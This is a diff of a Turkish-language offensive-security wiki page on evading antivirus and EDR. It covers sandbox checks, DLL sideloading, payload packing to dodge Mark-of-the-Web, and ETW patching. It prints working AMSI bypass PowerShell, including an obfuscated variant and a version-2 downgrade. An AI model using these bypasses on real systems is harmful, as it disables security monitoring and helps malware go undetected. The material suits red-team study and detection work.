ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir. Bu [YouTube çalma listesine](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) göz atmanızı şiddetle tavsiye ederim, pratik AV Kaçınma hakkında. ### **Dinamik analiz** -Dinamik analiz, AV'nin ikili dosyanızı bir kumanda kutusunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde bir minidump gerçekleştirmek vb.). Bu kısım üzerinde çalışmak biraz daha zor olabilir, ancak kumanda kutularını aşmak için yapabileceğiniz bazı şeyler var. +Dinamik analiz, AV'nin ikili dosyanızı bir kumanda kutusunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım biraz daha karmaşık olabilir, ancak kumanda kutularını aşmak için yapabileceğiniz bazı şeyler var. - **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini aşmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun, birçok AV'nin kumanda kutularının, nasıl uygulandığına bağlı olarak, uyku süresini atlayabilmesidir. - **Makinenin kaynaklarını kontrol etme** Genellikle kumanda kutuları çalışmak için çok az kaynağa sahiptir (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada oldukça yaratıcı olabilirsiniz, örneğin CPU'nun sıcaklığını veya hatta fan hızlarını kontrol ederek, her şey kumanda kutusunda uygulanmayabilir. -- **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızı kapatabilirsiniz. +- **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızın çıkmasını sağlayabilirsiniz. -Microsoft Defender'ın Kumanda Kutusu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kumanda kutusunun içindesiniz demektir, bu nedenle programınızı kapatabilirsiniz. +Microsoft Defender'ın Kumanda Kutusu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kumanda kutusunun içindesiniz demektir, bu nedenle programınızın çıkmasını sağlayabilirsiniz.

kaynak: https://youtu.be/StSLxFbVz0M?t=1439

-Kumanda kutularına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit) tarafından verilen bazı gerçekten iyi ipuçları +Kumanda kutularına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit)'den bazı gerçekten iyi ipuçları

Red Team VX Discord #malware-dev kanalı

Bu yazıda daha önce söylediğimiz gibi, **kamu araçları** sonunda **tespit edilecektir**, bu nedenle kendinize bir şey sormalısınız: -Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa LSASS'ı döken daha az bilinen farklı bir projeyi mi kullanabilirsiniz? +Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa daha az bilinen ve aynı zamanda LSASS'ı döken farklı bir projeyi mi kullanabilirsiniz? -Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri aşmak için çalışmak bir kabus haline gelir, bu nedenle ulaşmaya çalıştığınız şey için alternatifler arayın. +Doğru cevap muhtemelen ikincisidir. Mimikatz'ı bir örnek olarak alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri aşmak için çalışmak bir kabus haline gelir, bu nedenle ulaşmaya çalıştığınız şey için alternatifler arayın. > [!NOTE] -> Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek gönderimini kapatmayı** unutmayın ve lütfen, cidden, **VIRUSTOTAL'A YÜKLEMEYİN** eğer amacınız uzun vadede kaçınma sağlamaksa. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin. +> Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek gönderimini kapattığınızdan** emin olun ve lütfen, cidden, **VIRUSTOTAL'A YÜKLEMEYİN** eğer amacınız uzun vadede kaçınma elde etmekse. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin. ## EXE'ler vs DLL'ler @@ -62,14 +62,14 @@ Bu görüntüde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'd

antiscan.me'de normal bir Havoc EXE yüklemesi ile normal bir Havoc DLL karşılaştırması

-Şimdi, DLL dosyalarıyla daha gizli olabileceğiniz bazı hileleri göstereceğiz. +Şimdi DLL dosyalarıyla daha gizli olabileceğiniz bazı hileleri göstereceğiz. ## DLL Sideloading & Proxying -**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak, hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır. +**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır. DLL Sideloading'e duyarlı programları kontrol etmek için [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell betiğini kullanabilirsiniz: -```powershell +```bash Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck @@ -77,7 +77,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ``` Bu komut, "C:\Program Files\\" içindeki DLL hijacking'e duyarlı programların listesini ve yüklemeye çalıştıkları DLL dosyalarını çıktılar. -**DLL Hijackable/Sideloadable programları kendiniz keşfetmenizi** şiddetle tavsiye ederim, bu teknik düzgün yapıldığında oldukça gizli, ancak kamuya mal olmuş DLL Sideloadable programları kullanırsanız, kolayca yakalanabilirsiniz. +**DLL Hijackable/Sideloadable programları kendiniz keşfetmenizi** şiddetle tavsiye ederim, bu teknik düzgün yapıldığında oldukça gizli, ancak kamuya açık bilinen DLL Sideloadable programları kullanırsanız, kolayca yakalanabilirsiniz. Sadece bir programın yüklemeyi beklediği isimde kötü niyetli bir DLL yerleştirmek, yüklemenizi çalıştırmaz, çünkü program o DLL içinde bazı belirli işlevler bekler. Bu sorunu çözmek için, **DLL Proxying/Forwarding** adı verilen başka bir teknik kullanacağız. @@ -100,16 +100,16 @@ Son komut bize 2 dosya verecek: bir DLL kaynak kodu şablonu ve orijinal yeniden ```
-Hem shellcode'umuz ( [SGN](https://github.com/EgeBalci/sgn) ile kodlanmış) hem de proxy DLL, [antiscan.me](https://antiscan.me) üzerinde 0/26 Tespit oranına sahip! Bunu bir başarı olarak adlandırırım. +Hem shellcode'umuzun ( [SGN](https://github.com/EgeBalci/sgn) ile kodlanmış) hem de proxy DLL'nin [antiscan.me](https://antiscan.me) üzerinde 0/26 Tespit oranı var! Bunu bir başarı olarak adlandırırım.
> [!NOTE] -> **Kesinlikle** [S3cur3Th1sSh1t'in twitch VOD'unu](https://www.twitch.tv/videos/1644171543) DLL Sideloading hakkında izlemenizi ve ayrıca [ippsec'in videosunu](https://www.youtube.com/watch?v=3eROsG_WNpE) daha derinlemesine öğrenmek için izlemenizi öneririm. +> **Kesinlikle öneririm** [S3cur3Th1sSh1t'in twitch VOD'sini](https://www.twitch.tv/videos/1644171543) DLL Sideloading hakkında izlemenizi ve ayrıca [ippsec'in videosunu](https://www.youtube.com/watch?v=3eROsG_WNpE) daha derinlemesine tartıştığımız konular hakkında daha fazla bilgi edinmek için izlemenizi. ## [**Freeze**](https://github.com/optiv/Freeze) -`Freeze, askıya alınmış süreçler, doğrudan syscalls ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir yük aracı takımıdır.` +`Freeze, askıya alınmış süreçler, doğrudan syscalls ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir yük aracı takımıdır` Freeze'i shellcode'unuzu gizli bir şekilde yüklemek ve çalıştırmak için kullanabilirsiniz. ``` @@ -121,7 +121,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
> [!NOTE] -> Kaçış, sadece bir kedi ve fare oyunudur, bugün işe yarayan bir şey yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin. +> Kaçış, sadece bir kedi ve fare oyunudur, bugün işe yarayan yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin. ## AMSI (Anti-Malware Scan Interface) @@ -129,7 +129,7 @@ AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Filel AMSI özelliği, Windows'un bu bileşenlerine entegre edilmiştir. -- Kullanıcı Hesabı Denetimi veya UAC (EXE, COM, MSI veya ActiveX yüklemesi yükseltmesi) +- Kullanıcı Hesabı Denetimi veya UAC (EXE, COM, MSI veya ActiveX kurulumu yükseltmesi) - PowerShell (betikler, etkileşimli kullanım ve dinamik kod değerlendirmesi) - Windows Script Host (wscript.exe ve cscript.exe) - JavaScript ve VBScript @@ -143,30 +143,32 @@ Antivirüs çözümlerinin, şifrelenmemiş ve karmaşıklaştırılmamış bir Betik çalıştırılan yürütülebilir dosyanın yolunu `amsi:` ile önceden eklediğine dikkat edin, bu durumda powershell.exe. -Diskte herhangi bir dosya bırakmadık, ancak yine de AMSI nedeniyle bellek içinde yakalandık. +Diskte herhangi bir dosya bırakmadık, ama yine de AMSI nedeniyle bellek içinde yakalandık. + +Ayrıca, **.NET 4.8** ile birlikte, C# kodu da AMSI üzerinden çalıştırılmaktadır. Bu, `Assembly.Load(byte[])` ile bellek içi yürütmeyi yüklemeyi de etkiler. Bu nedenle, AMSI'den kaçınmak istiyorsanız, bellek içi yürütme için daha düşük .NET sürümlerinin (4.7.2 veya daha düşük gibi) kullanılması önerilir. AMSI'yi aşmanın birkaç yolu vardır: - **Karmaşıklaştırma** -AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespiti aşmanın iyi bir yolu olabilir. +AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespitten kaçınmanın iyi bir yolu olabilir. -Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görecektir, bu da bir şeyin ne kadar işaretlendiğine bağlıdır. +Ancak, AMSI, birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçmayı o kadar da kolay hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görecektir, bu da bir şeyin ne kadar işaretlendiğine bağlıdır. - **AMSI Bypass** -AMSI, bir DLL'yi powershell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, yetkisiz bir kullanıcı olarak çalışırken bile bununla oynamak kolaydır. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını aşmanın birçok yolunu bulmuşlardır. +AMSI, bir DLL'yi PowerShell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, ayrıcalıksız bir kullanıcı olarak çalıştırırken bile bununla oynamak mümkündür. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasından kaçmanın birçok yolunu bulmuşlardır. **Bir Hata Zorlamak** -AMSI başlatılmasının başarısız olmasını sağlamak (amsiInitFailed), mevcut süreç için hiçbir taramanın başlatılmayacağı anlamına gelir. Bu, başlangıçta [Matt Graeber](https://twitter.com/mattifestation) tarafından açıklanmış ve Microsoft, daha geniş kullanımını önlemek için bir imza geliştirmiştir. -```powershell +AMSI başlatılmasının başarısız olmasını sağlamak (amsiInitFailed), mevcut işlem için hiçbir taramanın başlatılmaması sonucunu doğurur. Bu, başlangıçta [Matt Graeber](https://twitter.com/mattifestation) tarafından açıklanmış ve Microsoft, daha geniş kullanımını önlemek için bir imza geliştirmiştir. +```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` -Tek bir satır PowerShell kodu, AMSI'yi mevcut PowerShell işlemi için kullanılamaz hale getirmek için yeterliydi. Bu satır elbette AMSI tarafından işaretlendi, bu nedenle bu tekniği kullanmak için bazı değişiklikler gereklidir. +Tek gereken, mevcut powershell işlemi için AMSI'yi kullanılamaz hale getirmek için bir satır powershell koduydu. Bu satır elbette AMSI tarafından işaretlendi, bu nedenle bu tekniği kullanmak için bazı değişiklikler gereklidir. İşte bu [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)'ten aldığım değiştirilmiş bir AMSI bypass. -```powershell +```bash Try{#Ams1 bypass technic nº 2 $Xdatabase = 'Utils';$Homedrive = 'si' $ComponentDeviceId = "N`onP" + "ubl`ic" -join '' @@ -179,58 +181,85 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") $Spotfix.SetValue($null,$true) }Catch{Throw $_} ``` -Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected. +Unutmayın ki, bu gönderi yayımlandığında muhtemelen işaretlenecek, bu nedenle planınızın tespit edilmeden kalmasıysa, herhangi bir kod yayımlamamalısınız. **Bellek Yaması** -Bu teknik ilk olarak [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir, bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır. +Bu teknik, başlangıçta [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir; bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır. > [!NOTE] > Daha ayrıntılı bir açıklama için lütfen [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) adresini okuyun. -Powershell ile AMSI'yi atlatmak için kullanılan birçok başka teknik de vardır, bunlar hakkında daha fazla bilgi edinmek için [**bu sayfayı**](basic-powershell-for-pentesters/index.html#amsi-bypass) ve [bu repoyu](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kontrol edin. +Powershell ile AMSI'yi atlatmak için kullanılan birçok başka teknik de vardır, bunları öğrenmek için [**bu sayfayı**](basic-powershell-for-pentesters/index.html#amsi-bypass) ve [**bu repoyu**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kontrol edin. -Ya da bu bellek yaması aracılığıyla her yeni Powersh'i yamanlayacak bir script. +Bu araç [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) ayrıca AMSI'yi atlatmak için bir betik oluşturur. + +**Tespit edilen imzayı kaldırma** + +Mevcut işlemin belleğinden tespit edilen AMSI imzasını kaldırmak için **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** ve **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gibi bir araç kullanabilirsiniz. Bu araç, mevcut işlemin belleğini AMSI imzası için tarayarak çalışır ve ardından bunu NOP talimatlarıyla üzerine yazarak bellekteki imzayı etkili bir şekilde kaldırır. + +**AMSI kullanan AV/EDR ürünleri** + +AMSI kullanan AV/EDR ürünlerinin bir listesini **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** adresinde bulabilirsiniz. + +**Powershell sürüm 2'yi kullanın** +PowerShell sürüm 2 kullanıyorsanız, AMSI yüklenmeyecek, bu nedenle betiklerinizi AMSI tarafından taranmadan çalıştırabilirsiniz. Bunu yapabilirsiniz: +```bash +powershell.exe -version 2 +``` +## PS Logging + +PowerShell logging, bir sistemde yürütülen tüm PowerShell komutlarını kaydetmenizi sağlayan bir özelliktir. Bu, denetim ve sorun giderme amaçları için yararlı olabilir, ancak bu aynı zamanda **tespit edilmekten kaçınmak isteyen saldırganlar için bir sorun olabilir**. + +PowerShell kaydını atlatmak için aşağıdaki teknikleri kullanabilirsiniz: + +- **PowerShell Transcription ve Modül Kaydını Devre Dışı Bırakın**: Bu amaçla [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) gibi bir araç kullanabilirsiniz. +- **PowerShell sürüm 2'yi kullanın**: PowerShell sürüm 2'yi kullanıyorsanız, AMSI yüklenmeyecek, bu nedenle betiklerinizi AMSI tarafından taranmadan çalıştırabilirsiniz. Bunu yapabilirsiniz: `powershell.exe -version 2` +- **Yönetilmeyen PowerShell Oturumu Kullanın**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) kullanarak savunmasız bir PowerShell başlatın (bu, Cobalt Strike'dan `powerpick` tarafından kullanılır). ## Obfuscation +> [!NOTE] +> Birçok obfuscation tekniği, verileri şifrelemeye dayanır; bu, ikili dosyanın entropisini artırır ve AV'lerin ve EDR'lerin bunu tespit etmesini kolaylaştırır. Bununla dikkatli olun ve belki de yalnızca hassas veya gizlenmesi gereken kodunuzun belirli bölümlerine şifreleme uygulayın. + **C# düz metin kodunu obfuscate etmek**, ikili dosyaları derlemek için **metaprogramming şablonları** oluşturmak veya **derlenmiş ikili dosyaları obfuscate etmek** için kullanılabilecek birkaç araç vardır: +- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET uygulamaları için harika bir açık kaynak obfuscator'dır. Kontrol akışı obfuscation, anti-debugging, anti-tampering ve dize şifreleme gibi çeşitli koruma teknikleri sunar. Belirli kod parçalarını obfuscate etmeye bile izin verdiği için önerilmektedir. - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynaklı bir çatalını sağlamaktır ve bu sayede [kod obfuscation]() ve değiştirilemezlik ile yazılım güvenliğini artırmaktır. -- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, `C++11/14` dilini kullanarak, derleme zamanında, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden obfuscate edilmiş kod üretmeyi gösterir. -- [**obfy**](https://github.com/fritzone/obfy): Uygulamayı kırmak isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler. +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynak bir çatalını sağlamaktır; bu, [kod obfuscation]() ve değiştirilmezlik yoluyla yazılım güvenliğini artırmayı amaçlamaktadır. +- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, `C++11/14` dilini kullanarak, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden, derleme zamanında obfuscate edilmiş kod üretmeyi gösterir. +- [**obfy**](https://github.com/fritzone/obfy): Uygulamanın kırılmasını isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler. - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys gibi çeşitli farklı pe dosyalarını obfuscate edebilen bir x64 ikili obfuscator'dır. - [**metame**](https://github.com/a0rtega/metame): Metame, keyfi yürütülebilir dosyalar için basit bir metamorfik kod motorudur. - [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanan LLVM destekli diller için ince taneli kod obfuscation çerçevesidir. ROPfuscator, normal kontrol akışının doğal kavramını engelleyerek, normal talimatları ROP zincirlerine dönüştürerek bir programı montaj kodu seviyesinde obfuscate eder. - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt, Nim dilinde yazılmış bir .NET PE Crypter'dır. -- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilir ve ardından bunları yükleyebilir. +- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürüp ardından yükleyebilir. ## SmartScreen & MoTW İnternetten bazı yürütülebilir dosyaları indirip çalıştırırken bu ekranı görmüş olabilirsiniz. -Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uygulamaları çalıştırmaktan korumak için tasarlanmış bir güvenlik mekanizmasıdır. +Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uygulamaları çalıştırmaktan korumayı amaçlayan bir güvenlik mekanizmasıdır.
-SmartScreen esasen bir itibar temelli yaklaşım ile çalışır, bu da alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (ancak dosya, Daha Fazla Bilgi -> Yine de Çalıştır'ı tıklayarak hala çalıştırılabilir). +SmartScreen, esasen bir itibar temelli yaklaşım ile çalışır; bu, alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir). -**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan bir [NTFS Alternatif Veri Akışı]() olan Zone.Identifier adını taşır ve indirildiği URL ile birlikte gelir. +**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan bir [NTFS Alternatif Veri Akışı]() olan Zone.Identifier adında bir akıştır.

İnternetten indirilen bir dosya için Zone.Identifier ADS'yi kontrol etme.

> [!NOTE] -> **Güvenilir** bir imza sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir. +> **Güvenilir** bir imzalama sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir. -Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere **uygulanamayacağı** için olur. +Payload'larınızın Mark of The Web'i almasını önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere uygulanamayacağı için olur.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) payload'ları Mark-of-the-Web'den kaçınmak için çıktı konteynerlerine paketleyen bir araçtır. Örnek kullanım: -```powershell +```bash PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + o + o + o + o @@ -255,15 +284,23 @@ Burada [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) kullanarak yük
-## C# Assembly Yansıması +## ETW -C# ikili dosyalarını belleğe yüklemek bir süredir biliniyor ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmanın çok iyi bir yolu olmaya devam ediyor. +Windows için Olay İzleme (ETW), uygulamaların ve sistem bileşenlerinin **olayları kaydetmesine** olanak tanıyan güçlü bir günlükleme mekanizmasıdır. Ancak, kötü niyetli faaliyetleri izlemek ve tespit etmek için güvenlik ürünleri tarafından da kullanılabilir. -Yük, diske dokunmadan doğrudan belleğe yükleneceğinden, tüm süreç için yalnızca AMSI'yi yamanmakla ilgilenmemiz gerekecek. +AMSI'nin devre dışı bırakıldığı (atlatıldığı) gibi, kullanıcı alanı sürecinin **`EtwEventWrite`** fonksiyonunun hemen geri dönmesi sağlanabilir, böylece herhangi bir olayı kaydetmeden. Bu, fonksiyonu bellekte hemen geri dönecek şekilde yamanarak yapılır ve bu süreç için ETW günlüklemesini etkili bir şekilde devre dışı bırakır. -Çoğu C2 çerçevesi (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sağlıyor, ancak bunu yapmanın farklı yolları var: +Daha fazla bilgi bulabilirsiniz **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) ve [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**. -- **Fork\&Run** +## C# Assembly Reflection + +C# ikili dosyalarını bellekte yüklemek bir süredir bilinmektedir ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmanın çok iyi bir yoludur. + +Yük, diske dokunmadan doğrudan belleğe yükleneceğinden, tüm süreç için AMSI'yi yamalamakla ilgili endişelenmemiz gerekecek. + +Çoğu C2 çerçevesi (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sunmaktadır, ancak bunu yapmanın farklı yolları vardır: + +- **Fork&Run** Bu, **yeni bir fedai süreç oluşturmayı** içerir, post-exploitation kötü niyetli kodunuzu o yeni sürece enjekte eder, kötü niyetli kodunuzu çalıştırır ve işiniz bittiğinde yeni süreci öldürür. Bunun hem avantajları hem de dezavantajları vardır. Fork ve çalıştırma yönteminin avantajı, yürütmenin **Beacon implant sürecimizin dışında** gerçekleşmesidir. Bu, post-exploitation eylemimizde bir şeyler ters giderse veya yakalanırsa, **implantımızın hayatta kalma şansının çok daha yüksek** olduğu anlamına gelir. Dezavantajı ise **Davranışsal Tespitler** tarafından yakalanma şansınızın **daha yüksek** olmasıdır. @@ -271,36 +308,46 @@ Bu, **yeni bir fedai süreç oluşturmayı** içerir, post-exploitation kötü n - **Inline** -Bu, post-exploitation kötü niyetli kodu **kendi sürecine** enjekte etmekle ilgilidir. Bu şekilde, yeni bir süreç oluşturmak ve AV tarafından taranmasını sağlamak zorunda kalmazsınız, ancak dezavantajı, yükünüzün yürütülmesinde bir şeyler ters giderse, **beacon'ınızı kaybetme şansınızın çok daha yüksek** olmasıdır çünkü çökebilir. +Bu, post-exploitation kötü niyetli kodu **kendi sürecine** enjekte etmekle ilgilidir. Bu şekilde, yeni bir süreç oluşturma ve AV tarafından taranma zorunluluğundan kaçınabilirsiniz, ancak dezavantajı, yükünüzün yürütülmesinde bir şeyler ters giderse, **beacon'ınızı kaybetme şansınızın çok daha yüksek** olmasıdır, çünkü çökebilir.
> [!NOTE] > C# Assembly yükleme hakkında daha fazla bilgi edinmek istiyorsanız, lütfen bu makaleye göz atın [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) ve onların InlineExecute-Assembly BOF'una ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) -C# Derlemelerini **PowerShell'den** de yükleyebilirsiniz, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t'in videosuna](https://www.youtube.com/watch?v=oe11Q-3Akuk) göz atın. +Ayrıca C# Derlemelerini **PowerShell'den** yükleyebilirsiniz, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t'in videosuna](https://www.youtube.com/watch?v=oe11Q-3Akuk) göz atın. ## Diğer Programlama Dillerini Kullanma -[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) adresinde önerildiği gibi, tehlikeye atılmış makineye **Saldırgan Kontrolündeki SMB paylaşımında kurulu olan yorumlayıcı ortamına erişim vererek** diğer dilleri kullanarak kötü niyetli kod çalıştırmak mümkündür. 